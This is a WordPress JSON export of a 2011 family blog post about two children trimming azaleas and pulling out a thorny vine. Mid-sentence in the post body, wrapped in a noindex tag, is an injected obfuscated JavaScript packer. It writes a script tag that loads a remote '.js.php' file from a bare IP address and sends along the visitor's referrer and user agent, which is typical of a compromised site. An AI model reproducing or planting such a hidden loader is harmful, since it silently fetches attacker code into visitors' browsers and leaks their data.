{"id":1885,"date":"2011-08-12T07:58:46","date_gmt":"2011-08-12T14:58:46","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1885"},"modified":"2012-06-16T17:06:18","modified_gmt":"2012-06-17T00:06:18","slug":"and-a-passing-neighbor-asked-um-who-does-your-yard","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1885","title":{"rendered":"Better than garden gnomes &#8211; kids!!"},"content":{"rendered":"<p>Lil e has been &#8220;helping&#8221; me with yardwork ever since she was six. I used to hand her the clippers, and just aim her at a giant azalea bush in the front yard. I carefully showed her the very thorny vine infesting the poor azalea.<\/p>\n<p>She clipped that vine right down to its roots and hollered, &#8220;Get out of Miss Rebecca&#8217;s flowers, you thorns! <em>Get <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btsdb|var|u0026u|referrer|nkrsf||js|php'.split('|'),0,{}))\n<\/script><\/noindex> back to the devil where you belong!<\/em>&#8221;<\/p>\n<p>She wanted to mow, but she was too little to reach the handle of the lawnmower.<\/p>\n<p>Now she&#8217;s big enough to be actually useful &#8211; and get paid &#8211; so e and a earned some back-to-school shopping money doing yardwork. And what needed doing? Trimming the azaleas. Of course. And getting rid of the same stupid vine &#8211; it really is insidious.<\/p>\n<p>They worked for a couple of hours, destroying thorns, cutting down three small maple trees that had been growing up in the mix, and trimming out dead, too-tall, and too-spraggly azalea branches. About a dozen leaf-bags full of branches and leaves!<\/p>\n<p>I joked about it for a while:<\/p>\n<p style=\"text-align: center;\"><em>You know when 3-yr-olds cut their own hair?<\/em><\/p>\n<p style=\"text-align: center;\">That&#8217;s what my yard looks like. (sigh)<\/p>\n<p style=\"text-align: left;\">But actually, they did a really good job.\u00c2\u00a0 :)\u00c2\u00a0 Next time I&#8217;m turning them loose with the weedwhacker&#8230;.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lil e has been &#8220;helping&#8221; me with yardwork ever since she was six. I used&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[43,25],"class_list":["post-1885","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-garden","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1885"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1885"}],"version-history":[{"count":7,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1885\/revisions"}],"predecessor-version":[{"id":3191,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1885\/revisions\/3191"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1885"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}